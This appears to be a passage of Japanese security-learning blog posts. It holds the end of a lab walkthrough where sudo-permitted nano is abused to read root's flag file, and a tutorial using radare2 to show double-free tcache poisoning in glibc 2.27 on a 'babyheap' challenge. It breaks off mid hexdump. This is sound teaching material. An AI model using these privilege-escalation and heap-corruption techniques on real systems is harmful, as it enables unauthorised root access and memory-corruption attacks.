joanna@openadmin:~$ sudo -l Matching Defaults entries for joanna on openadmin: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User joanna may run the following commands on openadmin: (ALL) NOPASSWD: /bin/nano /opt/priv
お、/opt/priv
に対してのみroot権限でnano
が開けるようだ。
sudo /bin/nano /opt/priv
開いた後にCtrl + R
で/root/root.txt
を閲覧してみる。
2f907ed450b361b2c2bf4exxxxxxxxxx
終わり。
バイナリアン入門 第五回(x64, Linux)
はじめに
babyheap
と言うバイナリのウォークスルーに近いが、one_gadget
を利用した攻撃手法としては、glibc-2.27
のダブルフリーのチェック不足を利用したTCache Poisoning
による攻撃が応用編として良さそうなので、これを扱ってみる。
セキュリティ機構を確認してみる
まずはお馴染み、バイナリのセキュリティ機構を確認する。
# checksec babyheap [*] '/sandbox/pwn/2_babyheap/babyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
全て有効になっている。個々の意味については他サイトに譲る。
アセンブラを解読する
早速、babyheap
のバイナリを解析してみる。毎回お馴染みのRadare2を利用する。
# r2 -d babyheap
[0x00000870]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00000870]> afl 0x00000870 1 42 entry0 0x000008a0 4 50 -> 40 sym.deregister_tm_clones 0x000008e0 4 66 -> 57 sym.register_tm_clones 0x00000930 5 58 -> 51 entry.fini0 0x00000970 1 10 entry.init0 0x00000a75 6 113 sym.getnline 0x00000a59 1 28 sym.menu 0x00000820 1 6 sym.imp.printf 0x00000ae6 3 74 sym.getint 0x00000850 1 6 sym.imp.atoi 0x000007f0 1 6 sym.imp.__stack_chk_fail 0x00000ba0 1 2 sym.__libc_csu_fini 0x00000ba4 1 9 sym._fini 0x0000097a 1 51 entry.init1 0x00000800 1 6 sym.imp.setbuf 0x00000b30 4 101 sym.__libc_csu_init 0x000009ad 12 172 main 0x000007a0 3 23 sym._init 0x000007d0 1 6 sym.imp.free 0x000007e0 1 6 sym.imp.puts 0x00000810 1 6 sym.imp.strchr 0x00000830 1 6 sym.imp.read 0x00000000 3 97 -> 123 loc.imp._ITM_deregisterTMCloneTable 0x00000840 1 6 sym.imp.malloc [0x00000870]> s main [0x000009ad]> pdf ; DATA XREF from entry0 @ 0x88d / 172: int main (int argc, char **argv, char **envp); | ; var uint32_t var_ch @ rbp-0xc | ; var void *ptr @ rbp-0x8 | 0x000009ad 55 push rbp | 0x000009ae 4889e5 mov rbp, rsp | 0x000009b1 4883ec10 sub rsp, 0x10 | 0x000009b5 488b05741620. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5 | ; [0x202030:8]=0 | 0x000009bc 4889c6 mov rsi, rax | 0x000009bf 488d3df20100. lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format | 0x000009c6 b800000000 mov eax, 0 | 0x000009cb e850feffff call sym.imp.printf ; int printf(const char *format) | ,=< 0x000009d0 eb72 jmp 0xa44 | | ; CODE XREF from main @ 0xa50 | .--> 0x000009d2 8b45f4 mov eax, dword [var_ch] | :| 0x000009d5 83f802 cmp eax, 2 | ,===< 0x000009d8 7453 je 0xa2d | |:| 0x000009da 83f803 cmp eax, 3 | ,====< 0x000009dd 745c je 0xa3b | ||:| 0x000009df 83f801 cmp eax, 1 | ,=====< 0x000009e2 7402 je 0x9e6 | ,======< 0x000009e4 eb5e jmp 0xa44 | ||||:| ; CODE XREF from main @ 0x9e2 | |`-----> 0x000009e6 48837df800 cmp qword [ptr], 0 | |,=====< 0x000009eb 740e je 0x9fb | ||||:| 0x000009ed 488d3d050200. lea rdi, str.No_Space ; 0xbf9 ; "No Space!!" ; const char *s | ||||:| 0x000009f4 e8e7fdffff call sym.imp.puts ; int puts(const char *s) | ,=======< 0x000009f9 eb49 jmp 0xa44 | |||||:| ; CODE XREF from main @ 0x9eb | ||`-----> 0x000009fb bf30000000 mov edi, 0x30 ; '0' ; size_t size | || ||:| 0x00000a00 e83bfeffff call sym.imp.malloc ; void *malloc(size_t size) | || ||:| 0x00000a05 488945f8 mov qword [ptr], rax | || ||:| 0x00000a09 488d3df40100. lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format | || ||:| 0x00000a10 b800000000 mov eax, 0 | || ||:| 0x00000a15 e806feffff call sym.imp.printf ; int printf(const char *format) | || ||:| 0x00000a1a 488b45f8 mov rax, qword [ptr] | || ||:| 0x00000a1e be30000000 mov esi, 0x30 ; '0' | || ||:| 0x00000a23 4889c7 mov rdi, rax | || ||:| 0x00000a26 e84a000000 call sym.getnline | ||,=====< 0x00000a2b eb17 jmp 0xa44 | |||||:| ; CODE XREF from main @ 0x9d8 | ||||`---> 0x00000a2d 488b45f8 mov rax, qword [ptr] | |||| :| 0x00000a31 4889c7 mov rdi, rax ; void *ptr | |||| :| 0x00000a34 e897fdffff call sym.imp.free ; void free(void *ptr) | ||||,===< 0x00000a39 eb09 jmp 0xa44 | |||||:| ; CODE XREF from main @ 0x9dd | |||`----> 0x00000a3b 48c745f80000. mov qword [ptr], 0 | ||| |:| 0x00000a43 90 nop | ||| |:| ; CODE XREFS from main @ 0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39 | ```-`-`-> 0x00000a44 e810000000 call sym.menu | : 0x00000a49 8945f4 mov dword [var_ch], eax | : 0x00000a4c 837df400 cmp dword [var_ch], 0 | `==< 0x00000a50 7580 jne 0x9d2 | 0x00000a52 b800000000 mov eax, 0 | 0x00000a57 c9 leave \ 0x00000a58 c3 ret
コード自体は短いが分岐が多い。それぞれブロック毎に解析してみる。
Function prologue
お決まりの関数の最初で実行する命令。
関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。
push rbp mov rbp, rsp
関数内で利用するスタックを16バイト確保する。
sub rsp, 0x10
Welcomeメッセージ表示
glibcのstdin
関数のアドレスをrax
に格納する。
mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
Welcomeメッセージとstdin
関数のアドレスを出力する。
第一引数となるrdi
には、フォーマットとなる文字列のアドレスを格納。
第二引数となるesi
には、rax
に格納されているstdin
関数のアドレスを格納。
mov eax, 0
命令に関しては、ベクトルレジスタ(浮動小数点)を必要とする場合にその数を設定する必要があるが、今回は整数型なので0を設定している(詳細は以前の記事を参照)
mov rsi, rax lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format mov eax, 0 call sym.imp.printf ; int printf(const char *format)
この命令が実行されると以下のメッセージが標準出力に表示される。
stdin
関数のアドレスもリークしており、後程glibcのベースアドレスを求める際に利用する(ASLRにより実行時にアドレスが決まるため)
Welcome to babyheap challenge! Present for you!! >>>>> 0x7f87e2532a00 <<<<< hit breakpoint at: 562bd86a2a44
メニュー表示
次の命令ではjmp
命令で0xa44
に移動しsym.menu
をcallしている。
sym.menu
の中身は割愛しているが、標準出力にメニューの選択画面を表示している。
jmp 0xa44 ...(省略) call sym.menu
sys.menu
を実行すると以下の内容が標準出力に表示される。
MENU 1. Alloc 2. Delete 3. Wipe 0. Exit >
メニュー画面で0-3の値を入力するとvar_ch(rbp-0xc)
に格納され、値が0
の場合は処理を終了し、それ以外の場合は0x9d2
に移動する。
mov dword [var_ch], eax cmp dword [var_ch], 0 jne 0x9d2 mov eax, 0 leave ret
分岐
0x9d2
に移動したあとは、入力された値に応じたアドレスに移動する。
2
のDelete
だったら0xa2d
アドレスへ。
3
のWipe
だったら0xa3b
アドレスへ。
1
のAlloc
だったら0x9e6
アドレスへ。
それ以外ならsym.menu
へ移動する。
mov eax, dword [var_ch] cmp eax, 2 je 0xa2d cmp eax, 3 je 0xa3b cmp eax, 1 je 0x9e6 jmp 0xa44
1.Allocの処理
Alloc(1)
が入力された場合、最初にptr(rbp-0x8)
の値が0
であるかを確認する。
0
の場合は0x9fb
に移動し、違う場合はputs
で標準出力にメッセージを表示する。
cmp qword [ptr], 0 je 0x9fb lea rdi, str.No_Space ; 0xbf9 ; "No Space!!" ; const char *s call sym.imp.puts ; int puts(const char *s) jmp 0xa44
0x9fb
からの命令では、malloc
をcallしてヒープ領域に確保しているプールからチャンクを確保する。
第一引数となるedi
に、確保するサイズ48
バイトを指定してmalloc
をcallすると、rax
には確保したチャンクのアドレスが返ってくるので、ptr(rbp-0x8)
にアドレスを格納する。
mov edi, 0x30 ; '0' ; size_t size call sym.imp.malloc ; void *malloc(size_t size) mov qword [ptr], rax
その後、確保したチャンクに格納する文字列の入力を促すメッセージを表示する。
lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format mov eax, 0 call sym.imp.printf ; int printf(const char *format)
最後にgetnline
をcallして文字列の入力をさせる。
第一引数となるrdi
にはチャンクのアドレスを指定し、第二引数となるesi
にはサイズ48
を指定する。
getline man:https://linuxjm.osdn.jp/html/LDP_man-pages/man3/getline.3.html
終わったらメニューに移動する。
mov rax, qword [ptr] mov esi, 0x30 ; '0' mov rdi, rax call sym.getnline jmp 0xa44
2.Deleteの処理
Delete(2)
が入力された場合、mallocで確保した領域をfreeで解放する。
第一引数となるrdi
にチャンクのアドレスptr(rbp-0x8)
を格納してfree
をcall
終わったらメニューに移動する。
ここで気にしときたいのは、コード的には同じチャンクアドレスに対して何回でもDelete
を実行することが可能。
mov rax, qword [ptr] mov rdi, rax ; void *ptr call sym.imp.free ; void free(void *ptr) jmp 0xa44
3.Wipeの処理
Wipe(3)
が入力された場合、mallocで確保したチャンクのアドレスを消去(0
)する。
終わったらnop
命令を実行後メニューに移動する。
mov qword [ptr], 0 nop
以上で、アセンブラの解読は完了。
malloc/freeの基礎知識
ヒープ問題攻略の前に、そもそもmalloc
とfree
を実行した際にどのような挙動をするのかを理解する必要があるため、基礎の基礎を身に付けとく。
malloc
は、sbrk
システムコールにより拡張されたヒープ領域のプールから、チャンクという単位で領域を確保する。
free
は、確保したチャンクを解放して再利用できるようにしているが、libc-2.26
以降ではtcache
というキャッシュに繋げてメモリ確保時の高速化を図っている(libc-2.26
より前はfastbin
というキャッシュで管理)
正直ここら辺の理解はふんわりなので、以下のサイトなどで改めて理解を深める必要がありそう。
座学は上で深めるとして、実際のメモリを見ながら解放されるチャンクが内部でどのように管理されているかを確認してみる。
a = malloc(4); b = malloc(4); free(a); free(b);
上記サンプルコードをアセンブラにしたものがこれ。
# r2 -d a.out Process with PID 114 started... = attach 114 114 bin.baddr 0x56132ba4b000 Using 0x56132ba4b000 asm.bits 64 Warning: r_bin_file_hash: file exceeds bin.hashlimit -- Sharing your latest session to Facebook ... [0x7effe9fef090]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [TOFIX: aaft can't run in debugger mode.ions (aaft) [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x7effe9fef090]> s main [0x56132ba4b68a]> pdf ; DATA XREF from entry0 @ 0x56132ba4b59d / 67: int main (int argc, char **argv, char **envp); | ; var int64_t var_10h @ rbp-0x10 | ; var int64_t var_8h @ rbp-0x8 | 0x56132ba4b68a 55 push rbp | 0x56132ba4b68b 4889e5 mov rbp, rsp | 0x56132ba4b68e 4883ec10 sub rsp, 0x10 | 0x56132ba4b692 bf04000000 mov edi, 4 | 0x56132ba4b697 e8c4feffff call sym.imp.malloc ; void *malloc(size_t size) | 0x56132ba4b69c 488945f0 mov qword [var_10h], rax | 0x56132ba4b6a0 bf04000000 mov edi, 4 | 0x56132ba4b6a5 e8b6feffff call sym.imp.malloc ; void *malloc(size_t size) | 0x56132ba4b6aa 488945f8 mov qword [var_8h], rax | 0x56132ba4b6ae 488b45f0 mov rax, qword [var_10h] | 0x56132ba4b6b2 4889c7 mov rdi, rax | 0x56132ba4b6b5 e896feffff call sym.imp.free ; void free(void *ptr) | 0x56132ba4b6ba 488b45f8 mov rax, qword [var_8h] | 0x56132ba4b6be 4889c7 mov rdi, rax | 0x56132ba4b6c1 e88afeffff call sym.imp.free ; void free(void *ptr) | 0x56132ba4b6c6 b800000000 mov eax, 0 | 0x56132ba4b6cb c9 leave \ 0x56132ba4b6cc c3 ret [0x56132ba4b68a]> db 0x56132ba4b69c [0x56132ba4b68a]> db 0x56132ba4b6aa [0x56132ba4b68a]> db 0x56132ba4b6ba [0x56132ba4b68a]> db 0x56132ba4b6c6
ブレークポイント毎にメモリを確認してみる。
[0x56132ba4b68a]> dc hit breakpoint at: 56132ba4b69c
0x56132ba4b697
のsym.imp.malloc
を実行すると、アドレス0x56132ca7e250
に32(0x20)
バイトのチャンクが確保された。
Top chunk
の右に表示されている0x56132ca7e000, brk_end: 0x56132ca9f000
は、sbrk
システムコールで拡張されたヒープ領域を表している。
[0x56132ba4b69c]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated] Top chunk @ 0x56132ca7e270 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]
chunkの管理部であるmalloc_chunk
構造体(参考)を確認してみる。
size=32(0x20)
で、flagsはPREV_INUSE
が1
になっている。
flagsの意味は以下のようだが、Radare2で観察してきた結果、変化するところが見られ無かったこともあり理解不足。
- [N]ON_MAIN_ARENA
- IS_[M]APPED
- [P]REV_INUSE
[0x56132ba4b69c]> dmhc @0x56132ca7e250 struct malloc_chunk @ 0x56132ca7e250 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x56132ca7e260 0x0000000000000000 0x0000000000000000 ................
二度目のmalloc後の挙動を確認する。
[0x56132ba4b69c]> dc hit breakpoint at: 56132ba4b6aa
最初と同様に0x56132ca7e270
に32
バイトのチャンクが確保された。
Top chunk
はチャンクを確保する度にbrk_end
に向けてズレており、Top chunk
が持っているsize
自体も減少している。
[0x56132ba4b6aa]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated] Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated] Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000] [0x56132ba4b6aa]> dmhc @0x56132ca7e270 struct malloc_chunk @ 0x56132ca7e270 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x56132ca7e280 0x0000000000000000 0x0000000000000000 ................
最初に確保したチャンクをfreeで解放してみる。
[0x56132ba4b6aa]> dc hit breakpoint at: 56132ba4b6ba
0x56132ca7e250
のチャンク状態がfree
に変化した(補足:freeの時点でチャンク内の値は消える)
[0x56132ba4b6ba]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][free] Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated] Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]
そしてTcache
には解放されたチャンク0x56132ca7e250
が連結された。
[0x56132ba4b6ba]> dmht Tcache main arena @ 0x7effe9fe8c40 bin : 0, items : 1, fd :0x56132ca7e250
ちなみに、Tcache
の先頭アドレスが何処で管理されているのか調べて見ると、sbrk
で拡張された領域の最初の方で管理されていた。
0x56132ca7e050
アドレスの60e2 a72c 1356 (56132c7a2e60:リトルエンディアン)
の部分。
[0x56132ba4b6ba]> x @0x56132ca7e000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x56132ca7e000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x56132ca7e010 0100 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e050 60e2 a72c 1356 0000 0000 0000 0000 0000 `..,.V.......... 0x56132ca7e060 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
二つ目のチャンクも解放する。
[0x56132ba4b6ba]> dc hit breakpoint at: 56132ba4b6c6
先程と同様に0x56132ca7e270
の状態がfree
になった。
[0x56132ba4b6c6]> dmh Malloc chunk @ 0x56132ca7e250 [size: 0x20][free] Malloc chunk @ 0x56132ca7e270 [size: 0x20][free] Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]
Tcache
のフリーリストを見てみると0x56132ca7e270->0x56132ca7e250
のように繋がっており、先頭には今回解放したチャンクが連結された。
[0x56132ba4b6c6]> dmht Tcache main arena @ 0x7effe9fe8c40 bin : 0, items : 2, fd :0x56132ca7e270->0x56132ca7e250
チャンクの中身を確認すると、Tcache
の先頭に繋がったチャンクのfd
には、次のフリーチャンクのアドレスが格納されていた。
最後のフリーチャンクのfd
はヌル。
[0x56132ba4b6c6]> dmhc @0x56132ca7e270 struct malloc_chunk @ 0x56132ca7e270 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x56132ca7e260, bk = 0x0, } chunk data = 0x56132ca7e280 0x000056132ca7e260 0x0000000000000000 `..,.V.......... [0x56132ba4b6c6]> dmhc @0x56132ca7e250 struct malloc_chunk @ 0x56132ca7e250 { prev_size = 0x0, size = 0x20, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x56132ca7e260 0x0000000000000000 0x0000000000000000 ................
同様にTcache
の先頭アドレスも更新される。
[0x56132ba4b6c6]> x @0x56132ca7e000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x56132ca7e000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x56132ca7e010 0200 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e050 80e2 a72c 1356 0000 0000 0000 0000 0000 ...,.V.......... 0x56132ca7e060 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x56132ca7e0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
というように、Radare2で実際にメモリを覗いてみるとより理解が深まる(気がする)
TCache Poisoning
とは?
TCache Poisoning
を一言で表すのは難しいが、循環参照により無限にループするlinked listを故意に発生させ、任意のアドレスをTcache
のフリーリストに連結させるような攻撃方法のこと。
tcache_attack-zhが詳しい。
検証
ここまでで、malloc/freeの基礎は理解できたので、ダブルフリーによるTCache Poisoning
では、Tcache
がどのように汚染されていくのかをRadare2で覗きながら理解してみる。
最初はmallocでチャンクを確保する。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][allocated] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]
確保したチャンクにはtest
を詰めている。
[0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x74736574, bk = 0x0, } chunk data = 0x555def88c260 0x0000000074736574 0x0000000000000000 test............ 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................
確保したチャンクをfreeで解放すると、チャンクの状態はfree
に変わり中身が無くなる。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][free] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000] [0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x0, bk = 0x0, } chunk data = 0x555def88c260 0x0000000000000000 0x0000000000000000 ................ 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................
そしてTcache
には解放したチャンクが連結される。
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40 bin : 2, items : 1, fd :0x555def88c250
解放しているチャンクは一つなので、Tcache
の先頭アドレスは0x555def88c250
となっている。
[0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0100 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 60c2 88ef 5d55 0000 0000 0000 0000 0000 `...]U.......... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
次に、先程解放したチャンク0x555def88c250
を再度freeする。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][free] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]
すると、Tcache
には同じチャンクのアドレス0x555def88c250
が二つ連結される。
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40 bin : 2, items : 2, fd :0x555def88c250->0x555def88c250
0x555def88c250
のmalloc_chunk
を確認すると、fd
には次のチャンクを指す0x555def88c260(自分自身)
が格納されている。
これは、二度目のfreeのタイミングで、Tcache
の先頭につなげるチャンクのfd
には以前先頭だったチャンクのアドレス0x555def88c260
を格納するため、自分自身のチャンクの次は自分自身・・・と循環参照が出来上がっている。
[0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x555def88c260, bk = 0x0, } chunk data = 0x555def88c260 0x0000555def88c260 0x0000000000000000 `...]U.......... 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................
循環参照になったが、Tcache
の先頭アドレスは特に変わらない。
[0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0200 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 60c2 88ef 5d55 0000 0000 0000 0000 0000 `...]U.......... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
Tcache
が循環参照になっている状態でmallocするとTcache
から0x555def88c250
のチャンクが一つ取り出される。
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40 bin : 2, items : 1, fd :0x555def88c250
取り出されたチャンクに文字列write
(本来は任意のアドレス)を書き込むと、今尚Tcache
に繋がっている0x555def88c250
のfd
にも同じ値が格納される。同じアドレスを共有してるので当然の結果ではあるが。
んで、これがどのような結果を産むかと言うと、この状態になることでTcache
は0x555def88c250 -> write(本来は任意のアドレス)
と言うフリーリストに汚染される事になる。
[0x555deead1a44]> dmhc @0x555def88c250 struct malloc_chunk @ 0x555def88c250 { prev_size = 0x0, size = 0x40, flags: |N:0 |M:0 |P:1, fd = 0x6574697277, bk = 0x0, } chunk data = 0x555def88c260 0x0000006574697277 0x0000000000000000 write........... 0x555def88c270 0x0000000000000000 0x0000000000000000 ................ 0x555def88c280 0x0000000000000000 0x0000000000000000 ................ [0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0100 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 60c2 88ef 5d55 0000 0000 0000 0000 0000 `...]U.......... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
補足:dmh
で確認するチャンクリストは状態が狂ってそう。
[0x555deead1a44]> dmh Malloc chunk @ 0x555def88c250 [size: 0x40][free] Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]
最後に、もう一度mallocするとTcache
に繋がっている0x555def88c250
が取り出される(dmht
だとTcache
は空っぽに見える)
[0x555deead1a44]> dmht Tcache main arena @ 0x7f9469476c40
取り出された時に、Tcache
の先頭には0x555def88c250
のfd
で指している次のアドレスを格納するため、Tcache
の先頭アドレスはwrite(本来は任意のアドレス)
が格納されることになる。
[0x555deead1a44]> x @0x555def88c000 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x555def88c000 0000 0000 0000 0000 5102 0000 0000 0000 ........Q....... 0x555def88c010 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c020 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c030 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c050 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c060 7772 6974 6500 0000 0000 0000 0000 0000 write........... 0x555def88c070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c080 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c090 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0a0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0b0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0c0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0d0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x555def88c0e0 0000 0000 0000 0000 0000 0000 